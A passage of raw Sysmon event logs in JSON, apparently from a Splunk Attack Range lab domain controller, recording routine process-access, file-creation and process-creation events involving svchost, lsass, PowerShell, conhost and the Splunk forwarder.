C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1518,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1519,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.917\r\nSourceProcessGUID: {90617006-3FDB-5F2D-0000-00107FF90100}\r\nSourceProcessId: 2948\r\nSourceThreadId: 2968\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.917","SourceProcessGUID":"{90617006-3FDB-5F2D-0000-00107FF90100}","SourceProcessId":"2948","SourceThreadId":"2968","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1520,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":1521,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.953\r\nProcessGuid: {90617006-3FE4-5F2D-0000-001034A30200}\r\nProcessId: 3572\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Windows\\Temp\\__PSScriptPolicyTest_ihfs3u33.dr3.ps1\r\nCreationUtcTime: 2020-08-07 11:49:56.953","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.953","ProcessGuid":"{90617006-3FE4-5F2D-0000-001034A30200}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Windows\\Temp\\__PSScriptPolicyTest_ihfs3u33.dr3.ps1","CreationUtcTime":"2020-08-07 11:49:56.953","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1522,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.984\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.984","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1523,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.984\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.984","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1524,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.111\r\nProcessGuid: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nProcessId: 3688\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.111","ProcessGuid":"{90617006-3FE5-5F2D-0000-00100EC10200}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1525,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 2884\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nTargetProcessId: 3688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f2b15|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"2884","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","TargetProcessId":"3688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f2b15|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1526,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nTargetProcessId: 3688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 